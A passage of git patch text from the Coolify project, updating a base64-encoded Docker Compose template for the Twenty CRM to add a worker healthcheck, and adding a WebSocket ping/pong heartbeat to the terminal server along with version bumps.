@@ "twenty": { "documentation": "https://docs.twenty.com?utm_source=coolify.io", "slogan": "Twenty is a CRM designed to fit your unique business needs.", - "compose": "c2VydmljZXM6CiAgdHdlbnR5OgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1RXRU5UWV8zMDAwCiAgICAgIC0gJ1NFUlZFUl9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnRlJPTlRfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICd0d2VudHktbG9jYWwtc3RvcmFnZTovYXBwL3BhY2thZ2VzL3R3ZW50eS1zZXJ2ZXIvLmxvY2FsLXN0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgd29ya2VyOgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgY29tbWFuZDoKICAgICAgLSB5YXJuCiAgICAgIC0gJ3dvcmtlcjpwcm9kJwogICAgdm9sdW1lczoKICAgICAgLSAndHdlbnR5LWxvY2FsLXN0b3JhZ2U6L2FwcC9wYWNrYWdlcy90d2VudHktc2VydmVyLy5sb2NhbC1zdG9yYWdlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1RXRU5UWV8zMDAwCiAgICAgIC0gJ1NFUlZFUl9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnRlJPTlRfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gRElTQUJMRV9EQl9NSUdSQVRJT05TPXRydWUKICAgICAgLSBESVNBQkxFX0NST05fSk9CU19SRUdJU1RSQVRJT049dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgdHdlbnR5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotdHdlbnR5LWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgdHdlbnR5OgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1RXRU5UWV8zMDAwCiAgICAgIC0gJ1NFUlZFUl9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnRlJPTlRfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICd0d2VudHktbG9jYWwtc3RvcmFnZTovYXBwL3BhY2thZ2VzL3R3ZW50eS1zZXJ2ZXIvLmxvY2FsLXN0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiAzMHMKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgd29ya2VyOgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgY29tbWFuZDoKICAgICAgLSB5YXJuCiAgICAgIC0gJ3dvcmtlcjpwcm9kJwogICAgdm9sdW1lczoKICAgICAgLSAndHdlbnR5LWxvY2FsLXN0b3JhZ2U6L2FwcC9wYWNrYWdlcy90d2VudHktc2VydmVyLy5sb2NhbC1zdG9yYWdlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1RXRU5UWV8zMDAwCiAgICAgIC0gJ1NFUlZFUl9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnRlJPTlRfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gRElTQUJMRV9EQl9NSUdSQVRJT05TPXRydWUKICAgICAgLSBESVNBQkxFX0NST05fSk9CU19SRUdJU1RSQVRJT049dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgdHdlbnR5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInBzIGF1eCB8IGdyZXAgJ2Rpc3QvcXVldWUtd29ya2VyL3F1ZXVlLXdvcmtlcicgfCBncmVwIC12IGdyZXAgfHwgZXhpdCAxIgogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAzMHMKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi10d2VudHktZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "crm", "self-hosted", From 9408620d5f47836241a9b10516296c5311786832 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 10:35:32 +0200 Subject: [PATCH 095/329] fix(terminal): add WS heartbeat and fix proxy idle disconnects MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Proxies (Cloudflare, nginx) drop idle WebSocket connections before the application notices, leaving clients typing into dead sockets. - Add server-side ping/pong heartbeat (30s) in terminal-server.js; terminate unresponsive clients instead of letting connections go stale - Move client keepAlive interval start to the connect event so it restarts correctly after reconnects - Remove hidden-tab keepalive short-circuit — server pings now own liveness; suppressing client pings while hidden masked proxy drops - Fix clearAllTimers to use clearTimeout for one-shot timers - On visibility resume, probe with a 5s timeout instead of the default 35s so half-open sockets are detected quickly - Bump coolify-realtime to 1.0.14 across all compose files --- config/constants.php | 2 +- docker-compose.prod.yml | 2 +- docker-compose.windows.yml | 2 +- docker/coolify-realtime/terminal-server.js | 22 +++++++++++ other/nightly/docker-compose.prod.yml | 2 +- other/nightly/docker-compose.windows.yml | 2 +- resources/js/terminal.js | 38 +++++++++++++------ .../Feature/RealtimeTerminalPackagingTest.php | 25 ++++++++++++ 8 files changed, 79 insertions(+), 16 deletions(-) diff --git a/config/constants.php b/config/constants.php index 7504b6ba8..f2f6946fb 100644 --- a/config/constants.php +++ b/config/constants.php @@ -4,7 +4,7 @@ 'coolify' => [ 'version' => '4.0.0', 'helper_version' => '1.0.13', - 'realtime_version' => '1.0.13', + 'realtime_version' => '1.0.14', 'self_hosted' => env('SELF_HOSTED', true), 'autoupdate' => env('AUTOUPDATE'), 'base_config_path' => env('BASE_CONFIG_PATH', '/data/coolify'), diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 901aeb833..56c5b416b 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.13' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.14' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" diff --git a/docker-compose.windows.yml b/docker-compose.windows.yml index 998d35974..e1c09c64c 100644 --- a/docker-compose.windows.yml +++ b/docker-compose.windows.yml @@ -96,7 +96,7 @@ services: retries: 10 timeout: 2s soketi: - image: 'ghcr.io/coollabsio/coolify-realtime:1.0.13' + image: 'ghcr.io/coollabsio/coolify-realtime:1.0.14' pull_policy: always container_name: coolify-realtime restart: always diff --git a/docker/coolify-realtime/terminal-server.js b/docker/coolify-realtime/terminal-server.js index 3ae77857f..470f4af1e 100755 --- a/docker/coolify-realtime/terminal-server.js +++ b/docker/coolify-realtime/terminal-server.js @@ -105,7 +105,12 @@ const verifyClient = async (info, callback) => { const wss = new WebSocketServer({ server, path: '/terminal/ws', verifyClient: verifyClient }); +const HEARTBEAT_INTERVAL_MS = 30000; + wss.on('connection', async (ws, req) => { + ws.isAlive = true; + ws.on('pong', () => { ws.isAlive = true; }); + const userId = generateUserId(); const userSession = { ws, userId, ptyProcess: null, isActive: false, authorizedIPs: [] }; const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req); @@ -167,6 +172,23 @@ wss.on('connection', async (ws, req) => { }); }); +const heartbeat = setInterval(() => { + wss.clients.forEach((ws) => { + if (ws.isAlive === false) { + logTerminal('warn', 'Terminating WS due to missed protocol pong.'); + return ws.terminate(); + } + ws.isAlive = false; + try { + ws.ping(); + } catch (_) { + // ignore — close handler will follow + } + }); +}, HEARTBEAT_INTERVAL_MS); + +wss.on('close', () => clearInterval(heartbeat)); + const messageHandlers = { message: (session, data) => session.ptyProcess.write(data), resize: (session, { cols, rows }) => { diff 